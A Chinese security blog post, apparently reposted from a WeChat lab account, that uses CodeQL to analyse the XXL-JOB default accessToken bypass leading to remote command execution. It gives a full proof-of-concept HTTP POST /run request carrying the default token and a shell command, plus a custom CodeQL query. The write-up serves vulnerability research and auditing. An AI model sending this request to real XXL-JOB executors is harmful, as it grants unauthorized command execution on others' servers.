CodeQL工具
CodeQL是基于2019 微软收购GitHub的时候开源的一个源代码分析引擎，分析引擎是白盒代码工具的核心，有了这个引擎之后，随着网上不断迭代的支持CodeQL的queries规则库，CodeQL也慢慢在源代码审计安全圈活跃起来，比如log4shell这个漏洞就是通过CodeQL发现的。
CodeQL=Code Query Language 和SQL相似，分析引擎在分析完代码后会生成一个类似DB的文件夹Snapshot Database，里面的文件全是源代码和关系数据，接下来我们通过输入QL语句也就是queries规则可以查到XXL-JOB默认accessToken命令执行的漏洞点，然后对其进行分析。
xxl-job默认accessToken绕过原理
accessToken 本来是为了修复2020年xxl-job 执行器executor RESTful API 未授权访问 RCE 漏洞，为了防止其未授权添加了accessToken校验，但是很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token，与之前shiro的默认key泄漏导致的RCE原理很相似。
POC:
POST /run HTTP/1.1Host: 192.168.50.92:9999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeXXL-JOB-ACCESS-TOKEN: default_tokenContent-Type: application/jsonContent-Length: 370{"jobId": 1,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_POWERSHELL","glueSource": "open -a Calculator","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}
POC执行结果：
接下来笔者通过源代码分析该漏洞成因。
首先找到该程序的入口：
找到该程序的入口
通过上述代码，判断该处校验accessToken传入的XXL-JOB-ACCESS-TOKEN: default_token和配置文件中的xxl.job.accessToken=default_token是否一致，如果不一致，则返回FAIL_CODE。
按照相同逻辑就可以在代码中寻找配置文件读取函数和配置对比函数。
例如查找配置文件读取函数：
查找该函数构造方法，使用了loder.getResourceAsStream(propertyFileName)函数读取配置文件：
除此之外，笔者收集了常用的读取配置的函数：
-
this.getClass().getResourceAsStream("application.properties")
-
this.getClass().getClassLoader().getResourceAsStream("application.properties");
-
ClassLoader.getSystemResourceAsStream("application.properties");
-
new ClassPathResource("application.properties");
-
new BufferedInputStream(new FileInputStream("application.properties");
-
new FileInputStream("application.properties");
-
ClassLoader.getSystemResourceAsStream("application.properties");
-
ResourceBundle.getBundle("config/application");
下载QL官方库：https://github.com/github/codeql，可见官方库中自带的基础包。
在上述目录中构建一个属于自己的目录Test在其中构造了一个简单的QL语句
import javafrom MethodAccess ma, Method mwherem = ma.getMethod() andm.getName().regexpMatch("equals|getResourceAsStream|getResourceAsStream|getSystemResourceAsStream|ClassPathResource|BufferedInputStream|FileInputStream|getSystemResourceAsStream|getBundle") andnot m.getDeclaringType().getName().matches("SecureUtil|WhiteListedClass")select ma, "Risky method " + m.getName()
上述语句使用简单的AST匹配模式检测危险函数的方法，匹配等式判断、配置读取等函数。
然后通过查询结果找到读取配置的位置，即读取配置函数的定位。
读取配置的属性包括addresses、accessToken、appname、addres、ip、port、logpath、logretentiondays等，如前文所述，accessToken身份绕过漏洞就是accessToken配置值和API请求的XXL-JOB-ACCESS-TOKEN一致通过的校验。
通过equals 找到与上述参数相关的代码
位置1：
位置2：
找到上述方法的构造出POST或者GET请求方法，即文章开头的漏洞处。
总结
-
CodeQL本质上和其他的代码审计工具没什么不同，都是通过规则来查询疑似有安全问题的代码，只是分析技术不同而已，且规则自由度大。
-
XXL-JOB默认accessToken绕过的原理就是配置没有做随机化生成处理。所有使用该XXL-JOB项目的默认值都是default_token，这导致了在默认配置下使用该token可以绕过授权认证功能。
-
CodeQL默认的规则应该检测不出该类型的漏洞的，通过自定义CodeQL规则也不能完全准确的检测出该类型的问题，只是能检测出大致的范围，其漏洞还是需要仔细分析。
原文始发于微信公众号（洞源实验室）：CodeQL分析XXL-JOB默认accessToken命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论